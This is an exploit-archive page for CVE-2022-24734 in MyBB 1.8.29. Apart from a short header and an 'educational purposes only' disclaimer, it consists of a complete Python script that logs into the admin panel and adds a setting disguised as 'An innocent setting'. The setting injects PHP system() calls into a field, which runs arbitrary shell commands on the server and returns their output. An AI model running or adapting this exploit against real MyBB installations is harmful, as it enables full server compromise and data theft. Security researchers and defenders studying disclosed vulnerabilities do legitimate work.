Mybb 1.8.29 mybb 1.8.29 remote code execution (rce) (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-05-11 | Type : webapps | Platform : php
This exploit / vulnerability Mybb 1.8.29 mybb 1.8.29 remote code execution (rce) (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-05-08
# Exploit Author: Altelus
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829
# Version: MyBB 1.8.29
# Tested on: Linux
# CVE : CVE-2022-24734

# An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting.
# The user must have a rights to add or update setting. This is tested on MyBB 1.8.29.
# The vulnerability may have existed as early as 1.4.0 since this
# 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f)

import requests
import argparse
import random
import string
from base64 import b64decode
from bs4 import BeautifulSoup


def login(username, password):

data = {
"username" : username,
"password" : password,
"do" : "login"
}

login_txt = r_client.post(host + "/admin/index.php", data=data).text

if "The username and password combination you entered is invalid" in login_txt:
print("[-] Login failure. Incorrect credentials supplied")
exit(0)

print("[+] Login successful!")


def add_settings(cmd, raw_cmd=""):

config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text

if "Access Denied" in config_settings_txt:
print("[-] Supplied user doesn't have the rights to add a setting")
exit(0)

print("[*] Adding a malicious settings...")

soup = BeautifulSoup(config_settings_txt, "lxml")
my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']

rand_string = get_rand_string()

if raw_cmd != "":
extra = "\" . system('{}') .\"".format(raw_cmd)
else:
extra = "\" . system('{} | base64 -w 0') .\"".format(cmd)

data = {
"my_post_key" : my_post_key,
"title" : "An innocent setting",
"description" : "An innocent description",
"gid" : 1,
"disporder" : "",
"name" : rand_string,
"type" : "\tphp",
"extra" : extra,
"value" : "An innocent value"
}

post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False)

if post_setting.status_code != 302:
soup = BeautifulSoup(post_setting.text, "lxml")
error_txt = soup.find_all("div", {"class" : "error"})[0].text
print("[-] Exploit didn't work. Reason: '{}'".format(error_txt))
exit(0)

print("[+] Malicious post settings accepted!")
return rand_string

def get_rand_string(length=20):

return ''.join(random.choice(string.ascii_letters) for i in range(length))

def get_cmd_result(ident_string, raw_cmd=""):

conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text

soup = BeautifulSoup(conf_settings_list, "lxml")
row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0]

cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text

if raw_cmd == "":
cmd_result = b64decode(cmd_result[2:]).decode()

print("[+] Result: {}".format(str(cmd_result)))

parser = argparse.ArgumentParser()

parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()")
args = parser.parse_args()

username = args.username
password = args.password
host = args.host

cmd = "id" if args.cmd == None else args.cmd
raw_cmd = "" if args.raw_cmd == None else args.raw_cmd

r_client = requests.Session()

login(username, password)
ident_string = add_settings(cmd, raw_cmd=raw_cmd)
get_cmd_result(ident_string, raw_cmd=raw_cmd)